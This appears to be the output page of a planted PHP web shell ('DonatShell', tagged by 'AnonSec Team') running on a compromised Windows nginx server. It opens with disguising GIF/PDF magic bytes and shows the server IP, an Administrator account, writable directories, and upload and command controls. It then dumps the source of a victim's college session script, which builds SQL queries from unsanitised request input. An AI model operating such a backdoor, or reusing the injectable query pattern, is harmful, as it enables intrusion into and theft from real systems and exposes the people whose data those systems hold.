GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/common//GetSessions.phpinc
<?
// common/GetSessions.phpinc
// Calculate $_SESSION['YRTR'] values.

#debugTrackBegin(); d_On();
#if ( isset($_SESSION['userId']) && $_SESSION['userId'] == 1 ) { setDebugOn(); d_On(); }
#unset($_SESSION['YRTR']);
#d_Var("\$_SESSION['YRTR']",$_SESSION['YRTR'],'d');
#echo __FILE__;

if ( !isset($_SESSION['YRTR']) ) {
	// Create $_SESSION['YRTR'] array.
	$_SESSION['YRTR'] = array();
	
	// Get the first session.
	$query = "
	SELECT MIN(YRTR) AS MINYRTR
		FROM session
	 WHERE ( sessionType = 1 OR sessionType = 2 )
	";
	$sessionList = query_do($query);
	$sessionInfo = mysqli_fetch_assoc($sessionList);
	$_SESSION['YRTR']['FIRST'] = $sessionInfo['MINYRTR'];
	d_Var("\$_SESSION['YRTR']['FIRST']",$_SESSION['YRTR']['FIRST']);
	
	// Get the last session
	$query = "
	SELECT MAX(YRTR) AS MAXYRTR
		FROM session
	 WHERE ( sessionType = 1 OR sessionType = 2 )
	";
	$sessionList = query_do($query);
	$sessionInfo = mysqli_fetch_assoc($sessionList);
	$_SESSION['YRTR']['LAST'] = $sessionInfo['MAXYRTR'];
	d_Var("\$_SESSION['YRTR']['LAST']",$_SESSION['YRTR']['LAST']);
	
	// Get the current session
	$f_currentDate = currentDate();
	$date = date("Y-m-d");
	d_Var('$date',$date);
	d_Var('strtotime($date)',strtotime($date));
	$lastWeek = date('Y-m-d', strtotime(date("Y-m-d", strtotime($date)) . " -1 week"));
	d_Var('$lastWeek',$lastWeek);
	$query = "
	SELECT YRTR
			 , sessionName
		FROM session
	 WHERE ( sessionStart <= '".$f_currentDate."' AND sessionEnd >= '".$lastWeek."' )
		 AND ( sessionType = 1 OR sessionType = 2 )
	";
	#d_Var('$sessionList',$query,'dq');
	$sessionList = query_do($query);
	$sessionCount = $_SESSION['qry']['count'];
	#d_Var('$sessionList',$sessionList,'d');
	if ( $sessionCount ) {
		// Today is inside of the current session, so setup for the current session.
		mysqli_data_seek($sessionList, 0);
		$sessionInfo = mysqli_fetch_assoc($sessionList);
		//echo "Current session = ".$sessionInfo['YRTR']."<br>\n";
		$_SESSION['YRTR']['CURRENT'] = $sessionInfo['YRTR'];
	} else {
		// Today is not inside a session, so get the next session.
		$query = "
			SELECT YRTR
				FROM session
			 WHERE sessionStart > '".$f_currentDate."'
				 AND ( sessionType = 1 OR sessionType = 2 )
		ORDER BY sessionStart
		";
		d_Var('$sessionList',$query,'q');
		$sessionList = query_do($query);
		$sessionCount = $_SESSION['qry']['count'];
		#d_Var('$sessionList',$sessionList,'d');
		if ( $sessionCount ) {
			// Today is before a session, so setup for the next session.
			mysqli_data_seek($sessionList, 0);
			$sessionInfo = mysqli_fetch_assoc($sessionList);
			$_SESSION['YRTR']['CURRENT'] = $sessionInfo['YRTR'];
		} else {
			// Today is after any sessions, so setup for the last session.
			$_SESSION['YRTR']['CURRENT'] = $_SESSION['YRTR']['LAST'];
		}
	}
	
	// Get the previous session.
	switch (substr($_SESSION['YRTR']['CURRENT'],4,1)) {
		case '1':
			$_SESSION['YRTR']['PREVIOUS'] = (substr($_SESSION['YRTR']['CURRENT'],0,4)-1).'5';
			break;
		case '3':
			$_SESSION['YRTR']['PREVIOUS'] = substr($_SESSION['YRTR']['CURRENT'],0,4).'1';
			break;
		case '5':
			$_SESSION['YRTR']['PREVIOUS'] = substr($_SESSION['YRTR']['CURRENT'],0,4).'3';
			break;
		default:
			$_SESSION['YRTR']['PREVIOUS'] = 'none';
			break;
	}
	
	// Get the session names.
	$query = "
	SELECT *
		FROM session
	 WHERE YRTR = ".$_SESSION['YRTR']['CURRENT']."
	 LIMIT 5
	";
	#d_Var('sessionResult',$query,'dq');
	$sessionResult = query_do($query);
	$sessionCount = $_SESSION['qry']['count'];
	#d_Var('$sessionResult',$sessionResult,'d+');
	if ( $sessionCount ) {
		mysqli_data_seek($sessionResult, 0);
		$sessionCurrentInfo = mysqli_fetch_assoc($sessionResult);
		$_SESSION['YRTR']['CURRENT_NAME'] = $sessionCurrentInfo['sessionName'];
		$ct = explode(' ',$_SESSION['YRTR']['CURRENT_NAME']);
		$_SESSION['YRTR']['CURRENT_TYPE'] = $ct[1];
		if ( !isset($_SESSION['YRTR']['User']) ) { 
			$_SESSION['YRTR']['User'] = $sessionCurrentInfo['YRTR'];
			$_SESSION['YRTR']['User_NAME'] = $sessionCurrentInfo['sessionName'];
			$_SESSION['YRTR']['User_Start'] = $sessionCurrentInfo['sessionStart'];
			$_SESSION['YRTR']['User_End'] = $sessionCurrentInfo['sessionEnd'];
		}
	} else {
		$_SESSION['YRTR']['CURRENT_NAME'] = '';
		$_SESSION['YRTR']['CURRENT_TYPE'] = '';
	}
	$query = "
	SELECT sessionName
		FROM session
	 WHERE YRTR = ".$_SESSION['YRTR']['PREVIOUS']."
	";
	$sessionResult = query_do($query);
	$sessionCount = $_SESSION['qry']['count'];
	if ($sessionCount) {
		mysqli_data_seek($sessionResult, 0);
		$sessionInfo = mysqli_fetch_assoc($sessionResult);
		$_SESSION['YRTR']['PREVIOUS_NAME'] = $sessionInfo['sessionName'];
	} else {
		$_SESSION['YRTR']['PREVIOUS_NAME'] = '';
	}
	#printVar('$YRTR',$YRTR,'d');
	// Set session user is using.
	#unset($_SESSION['YRTR']['User']);
	#unset($_SESSION['YRTR']['SESSIONID_NEXT_SUMMER']);
	#printVar("\$_SESSION['YRTR']['User']",$_SESSION['YRTR']['User'],'d');
	
	/**/
	// Calculare next year and session number.
	$_SESSION['YRTR']['YR'] = substr($_SESSION['YRTR']['User'],0,4);
	$_SESSION['YRTR']['TR'] = substr($_SESSION['YRTR']['User'],4,1);
	if ($_SESSION['YRTR']['TR'] == '1') $_SESSION['YRTR']['YR']++;
	$nextYear = $_SESSION['YRTR']['YR']+1;
	#printVar("\$_SESSION['YRTR']['YR']",$_SESSION['YRTR']['YR']);
	#printVar("\$_SESSION['YRTR']['TR']",$_SESSION['YRTR']['TR']);
	$summerSession = $nextYear.'1';
	// Get or INSERT sessionId.
	$query = "
	SELECT sessionId
	FROM session
	WHERE YRTR = '".$summerSession."'
	";
	$summersessionResult = query_do($query);
	$summersessionCount = $_SESSION['qry']['count'];
	if ($summersessionCount) {
		$summersessionRow = mysqli_fetch_assoc($summersessionResult);
		$_SESSION['YRTR']['SESSIONID_NEXT_SUMMER'] = $summersessionRow['sessionId'];
	} else {
		// INSERT session
		$query = "
		INSERT INTO session (
			YRTR,
			sessionType,
			sessionName
		) VALUES (
			'".$summerSession."',
			 2,
			'".$_SESSION['YRTR']['YR']." Summer Session'
		)
		";
		d_Var('$query',$query,'q');
		#$summerSessionINSERT = query_do($query);
		#d_Var('$summerSessionINSERT',$summerSessionINSERT);
		$_SESSION['YRTR']['SESSIONID_NEXT_SUMMER'] = mysqli_insert_id($_SESSION['DATABASE_LINK']);
	}
}

$YRTR = formValue('YRTR','');
#printVar('$YRTR',$YRTR);
if ( $YRTR ) {
	$query = "
			SELECT sessionName
				FROM `session`
			 WHERE YRTR = ".$YRTR."
	";
	$sessionResult = query_do($query);
	$sessionResultCount = $_SESSION['qry']['count'];
	if ( $sessionResultCount ) {
		$sessionYRTR = mysqli_fetch_assoc($sessionResult);
		$_SESSION['YRTR']['User'] = $YRTR;
		$_SESSION['YRTR']['User_NAME'] = $sessionYRTR['sessionName'];
	}
	#printVar("\$_SESSION['YRTR']['User']",$_SESSION['YRTR']['User']);
	#printVar("\$_SESSION['YRTR']['User_NAME']",$_SESSION['YRTR']['User_NAME']);
}

d_Var("\$_SESSION['YRTR']",$_SESSION['YRTR']);
if ( isset($_SESSION['userId']) && $_SESSION['userId'] == 1 ) { setDebugOff(); d_Off(); }
debugTrackEnd(); d_Off();

?>

Anon7 - 2022
AnonSec Team